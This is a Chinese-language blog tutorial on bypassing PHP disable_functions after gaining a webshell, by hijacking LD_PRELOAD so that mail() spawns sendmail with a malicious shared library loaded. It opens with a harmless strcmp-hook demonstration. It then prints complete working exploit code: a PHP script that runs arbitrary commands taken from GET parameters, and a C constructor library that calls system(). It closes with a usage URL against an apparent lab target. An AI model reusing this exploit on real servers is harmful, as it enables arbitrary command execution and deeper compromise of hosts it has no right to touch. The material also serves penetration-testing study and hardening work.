前言
千辛万苦拿到的 webshell 居然无法执行系统命令?原来是服务端 禁用了命令执行函数(disable_functions),通过环境变量 LD_PRELOAD 劫持系统函数突破disable_functions 。
LD_PRELOAD是什么?
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。
这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。
一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
LD_PRELOAD劫持
loader在进行动态链接的时候,会将有相同符号名的符号覆盖成LD_PRELOAD指定的so文件中的符号。换句话说,可以用我们自己的so库中的函数替换原来库里有的函数,从而达到hook的目的。
使用方法:
1. 使用时设置LD_PRELOAD环境变量:
①全局模式:设置LD_PRELOAD环境变量为全局模式,所有的程序都会使用LD_PRELOAD中指定的动态库,格式如下: export LD_PRELOAD=绝对路径/xxx.so
②单程序模式1:单独为一个程序设置LD_PRELOAD环境变量,那么程序只在本次运行时调用LD_PRELOAD中指定的动态库,格式如下(备注:没有export命令了): LD_PRELOAD=绝对路径/xxx.so 程序名 程序参数
2. 使用完成之后取消LD_PRELOAD环境变量:unset LD_PRELOAD
举个栗子~
我们用C写一个函数test.c如下,实现这样一个功能:输入正确的密码:“bzzz ”后输出“hello world”,输入错误的密码后输出“error”
#include <stdio.h>
#include <string.h>
int main(int argc,char*argv[]){
char passwd[] = "bzzz";
if(argc<2){
printf("usage:%s<passwd>\n",argv[0]);
return -1;
}
if(!strcmp(passwd,argv[1])){
printf("hello world\n");
return -1;
}
printf("error!\n");
return 0;
}
编译test.c文件,运行得到如下结果:
gcc -g -o test test.c //编译eg.c文件,文件名为eg
./eg bzzz //输入正确的密码,hello world
./eg 1234 //输入错误密码,error
然后我们再写一个test_shadow.c函数如下:
#include<stdio.h>
#include<string.h>
int strcmp(const char *s1,const char *s2){
printf("password= <%s>\n",s1);
return 0;
}
使用gcc将我们的test_shadow.c程序编译成动态库,动态库名为test_shadow.so,可使用 echo ${} 查看是否成功,并用自定义的动态库再次运行上面生成的test文件:
tip:
动态库文件:*.so
静态库文件:*.a
gcc -fPIC -shared test_shadow.c -o test_shadow.so //将test_shadow.c程序编译成动态库文件
export LD_PRELOAD=/home/parallels/ld_preload_test/test_shadow.so //将.so动态库文件导入ld环境变量
echo ${LD_PRELOAD} //查看
./eg 1234 //再次输入错误的passwd查看回显
可以看到,我们已经成功使用自定义的动态库文件劫持了LD_PRELOAD环境变量,修改了程序的运行结果。
突破disable_functions
在后渗透的过程中,目标是一个php的站,当我们上传并接连马儿成功却发现无法命令执行的时候,就得考虑网站是否禁用了PHP危险函数(disable_functions)。
现在我们已经了解了LD_PRELOAD劫持函数的能力,便可以尝试通过这种方式突破disable_funcitons。
思路是利用漏洞控制 web 启动新进程 a,a内部调用函数 b(),b() 位于系统共享对象 c.so 中,所以系统为该进程加载共 c.so,想法在 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内 b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。
- 编写一个原型为 uid_t getuid(void); 的 C 函数,内部执行攻击者指定的代码,并编译成共享对象 getuid_shadow.so;
- 运行 PHP 函数 putenv(),设定环境变量 LD_PRELOAD 为 getuid_shadow.so,以便后续启动新进程时优先加载该共享对象;
- 运行 PHP 的 mail() 函数,mail() 内部启动新进程 /usr/sbin/sendmail,由于上一步 LD_PRELOAD 的作用,sendmail 调用的系统函数 getuid() 被优先级更好的 getuid_shadow.so 中的同名 getuid() 所劫持;
- 达到不调用 PHP 的各种命令执行函数(system()、exec() 等等)仍可执行系统命令的目的。
要突破 disable_functions的限制,首先我们得控制 php 启动外部程序才行(只要有进程启动行为即可,无所谓是谁)。常见的 system() 启动程序方式显然不行。这里学习了其他师傅的思路:在处理图片、发送邮件等场景中,php解析解释器本身会调用外部程序。
那我们来试一下~
-
处理图片,通常调用 PHP 封装的 ImageMagick 库,新建 image.php,调用 Imagick():
创建一个image.php文件,内容如下:<?php $img = new Imagick(); $img->newImage(100,200,\'black\',\'png\') ?>运行
strace -f php image.php 2>&1 | grep execve查看 Imagick() 调用execv的情况:第一个 execve 是启动 PHP 解释器已,找到第二个 execve,才能说明有新进程启动。
- 发邮件:
创建一个mail.php文件,内容如下:
<?php
mail(\'b\',\'z\',\'z\',\'z\',\'z\')
?>
运行 strace -f php mail.php 2>&1 | grep execve 查看mail()调用execv的情况:
mail() 内部启动了除了启动php解释器进程外,还有 /usr/sbin/sendmail、/usr/sbin/postdrop 两个新进程,这就是我们想要的!
并且已经执行成功!
那么如果mail()函数没有没禁用的情况下,我们可以以它为基础编写exp,当然已经有大佬写好了:
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"]; //cmd参数,带输入的linux命令,如whoami,ifconfig等
$out_path = $_GET["outpath"]; //显示输出结果的路径,该路径需要可读写,一般可在/tmp路径下
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; //拼接命令和输出路径成为完整的命令行
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);//通过环境变量 EVIL_CMDLINE 向 bypass_disablefunc_x64.so 传递具体执行的命令行信息
$so_path = $_GET["sopath"]; //劫持系统函数.so文件的绝对路径
putenv("LD_PRELOAD=" . $so_path); //putenv()配置系统环境变量,这一步很关键,需要将.so动态库文件导入ld环境变量才能达到劫持效果
mail("", "", "", "");//调用外部php函数
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
自定义动态链接文件:
GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数,可以借助这个函数编写exp拦截启动进程,当然大佬也写好了:
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = \'\0\';
}
}
// executive command
system(cmdline);
}
bypass_disablefunc_x64.so 为执行命令的共享对象,用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so 将 bypass_disablefunc.c 编译而来。 若目标为 x86 架构,需要加上 -m32 选项重新编译,bypass_disablefunc_x86.so
具体如何使用转至:
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
测试
成功前置条件:
- linux环境
- putenv()未禁用
刚好红日3的web服务器disable_functions,直接开搞:
拿下shell后,无法命令执行:
上传exp到当前文件目录并使用payload,达到命令执行:
http://172.20.10.11/templates/beez3/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so
好的,结束~
参考文章:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD